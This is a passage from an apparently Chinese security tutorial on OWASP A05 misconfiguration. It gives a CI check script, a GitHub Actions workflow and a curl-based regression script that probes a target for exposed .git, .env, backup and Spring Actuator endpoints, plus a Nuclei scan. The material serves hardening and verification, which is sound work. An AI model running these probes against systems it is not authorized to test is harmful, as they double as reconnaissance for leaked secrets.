pass "未发现默认口令"
fi
# 4. 检查 CORS 全开
if grep -rnE "allowedOrigins.*\*|Access-Control-Allow-Origin.*\*|allow_origins.*\[?\"?\*" \
--include="*.yml" --include="*.java" --include="*.py" --include="*.js" . 2>/dev/null; then
fail "CORS 配置为通配符 *(应限定具体域名)"
else
pass "CORS 配置正常"
fi
# 5. 检查关闭的 SSL 校验
if grep -rnE "verify\s*=\s*False|VERIFYPEER.*false|trustAllCerts" \
--include="*.py" --include="*.php" --include="*.java" . 2>/dev/null; then
fail "检测到关闭 SSL 证书校验的代码"
else
pass "未发现关闭 SSL 校验"
fi
# 6. 检查 web 目录下的敏感文件
for f in .env .git web.config composer.json phpinfo.php test.php; do
if [ -e "public/$f" ] || [ -e "wwwroot/$f" ] || [ -e "static/$f" ]; then
fail "敏感文件存在于 web 目录: $f"
fi
done
[ $ERRORS -eq 0 ] && pass "web 目录无敏感文件"
# 7. 检查 Docker 是否以 root 运行
if [ -f "Dockerfile" ]; then
if grep -qE "^\s*USER\s+root" Dockerfile; then
fail "Dockerfile 显式使用 root 用户"
elif ! grep -qE "^\s*USER\s+" Dockerfile; then
warn "Dockerfile 未指定 USER,默认以 root 运行,建议添加非 root 用户"
else
pass "Dockerfile 使用非 root 用户"
fi
fi
# 8. 检查备份文件误打包
if find . -maxdepth 2 \( -name "*.sql" -o -name "*.bak" -o -name "backup*.zip" \) \
-not -path "./node_modules/*" 2>/dev/null | grep -q .; then
fail "构建产物中存在备份文件"
else
pass "无备份文件泄漏"
fi
echo "======================================"
if [ $ERRORS -gt 0 ]; then
echo "❌ 配置安全检查未通过,共 $ERRORS 项问题,阻断发布"
exit 1
fi
echo "✅ 配置安全检查全部通过"
exit 0接入 GitHub Actions 示例:
# .github/workflows/security-check.yml
name: Security Config Check
on: [push, pull_request]
jobs:
config-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run config security check
run: bash ci-config-check.sh
- name: Scan secrets in code
uses: gitleaks/gitleaks-action@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: Scan IaC misconfigurations
uses: aquasecurity/trivy-action@master
with:
scan-type: 'config'
scan-ref: '.'
severity: 'HIGH,CRITICAL'
exit-code: '1' # 发现高危配置错误则失败回归验证清单
#!/usr/bin/env bash
# A05 修复后回归验证
# 用法: bash verify_misconfig.sh https://target.com
TARGET="${1%/}"
PASS=0; FAIL=0
expect_code() {
# expect_code <路径> <期望码> <说明>
local path="$1" expected="$2" desc="$3"
local actual
actual=$(curl -s -o /dev/null -w "%{http_code}" --max-time 8 "$TARGET$path")
if [ "$actual" = "$expected" ]; then
echo "[PASS] $desc ($path → $actual)"; PASS=$((PASS+1))
else
echo "[FAIL] $desc ($path → $actual, 期望 $expected)"; FAIL=$((FAIL+1))
fi
}
echo "===== 敏感文件应不可访问(期望 403/404)====="
for p in /.git/HEAD /.git/config /.env /.svn/entries /web.config \
/backup.sql /www.zip /db.sql /phpinfo.php /test.php; do
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 8 "$TARGET$p")
if [ "$code" = "403" ] || [ "$code" = "404" ]; then
echo "[PASS] $p 已禁止 ($code)"; PASS=$((PASS+1))
else
echo "[FAIL] $p 可访问 ($code)"; FAIL=$((FAIL+1))
fi
done
echo
echo "===== Actuator 端点应受限(期望 401/403/404)====="
for p in /actuator /actuator/env /actuator/heapdump /actuator/beans /actuator/configprops; do
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 8 "$TARGET$p")
if [ "$code" = "401" ] || [ "$code" = "403" ] || [ "$code" = "404" ]; then
echo "[PASS] $p 已保护 ($code)"; PASS=$((PASS+1))
else
echo "[FAIL] $p 未授权可访问 ($code)"; FAIL=$((FAIL+1))
fi
done
echo
echo "===== 目录列表应关闭(期望无 Index of)====="
for d in / /static/ /uploads/ /backup/; do
body=$(curl -s --max-time 8 "$TARGET$d")
if echo "$body" | grep -qiE "Index of|Directory listing|parent directory"; then
echo "[FAIL] $d 目录列表开启"; FAIL=$((FAIL+1))
else
echo "[PASS] $d 无目录列表"; PASS=$((PASS+1))
fi
done
echo
echo "===== 安全响应头 ====="
HEADERS=$(curl -sI --max-time 8 "$TARGET")
for h in "strict-transport-security" "x-content-type-options" "x-frame-options"; do
if echo "$HEADERS" | grep -qi "$h"; then
echo "[PASS] $h 已配置"; PASS=$((PASS+1))
else
echo "[FAIL] $h 缺失"; FAIL=$((FAIL+1))
fi
done
echo
echo "===== 版本号隐藏 ====="
if echo "$HEADERS" | grep -qiE "server:.*(nginx|apache)/[0-9]"; then
echo "[FAIL] Server 头泄露版本号"; FAIL=$((FAIL+1))
else
echo "[PASS] Server 版本号已隐藏"; PASS=$((PASS+1))
fi
echo
echo "===== 管理后台应不可公网访问 ====="
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 8 "$TARGET/admin/")
if [ "$code" = "403" ] || [ "$code" = "404" ] || [ "$code" = "401" ]; then
echo "[PASS] /admin/ 已限制 ($code)"; PASS=$((PASS+1))
else
echo "[WARN] /admin/ 返回 $code,请人工确认是否为预期"
fi
echo
echo "----------------------------------------"
echo "通过: $PASS 失败: $FAIL"
[ "$FAIL" -eq 0 ] && echo "✅ 全部通过" || echo "❌ 存在未修复项"最后再用 Nuclei 扫一遍确认:
nuclei -u "$TARGET" \
-tags misconfig,exposure,default-login \
-severity high,critical -o final_check.txt
# 期望:无 high/critical 输出
cat final_check.txt最后:配置错误是管理问题,不是技术问题
A05 有个很尴尬的特点:它不该发生,但它一直在发生。
原因不复杂 —— 配置散落在几十个地方(应用配置、中间件、云控制台、容器、CI),没有任何单一角色对全部负责。开发管应用配置,运维管中间件,云资源可能谁都能改,没有人对整体暴露面负责。
所以解法也得是"体系化"的:
- 基线化 —— 把"正确的配置"写成清单,每一条都能打勾。
- 自动化扫描 —— Nuclei 定期跑全量资产,新配置错误能第一时间发现。
- CI 卡点 —— 配置检查进流水线,错误配置根本发不出去(这条最关键)。
- 职责到人 —— 明确"谁对生产环境暴露面负责",否则出事了全员无辜。
技术层面几个投入产出比最高的点:
- Actuator 只暴露 health/info,heapdump/env 一律关闭
- web 目录禁
.git/.env/ 备份文件,用return 404而非 403 - 云桶一律私有,用 STS 临时凭证代替 AK
- 容器非 root 运行,不挂 docker.sock
- 管理后台不对公网开放,必要时加 IP 白名单 + 双因子
配置错误不是"技术难题",是"管理问题"。管理问题就得用流程和工具解决,靠人自觉是不行的。
⚠️ 声明:本文所有示例、脚本与命令仅用于授权的安全测试、教学研究与自有系统加固。请勿对任何未授权系统进行测试,违反者需自行承担法律责任。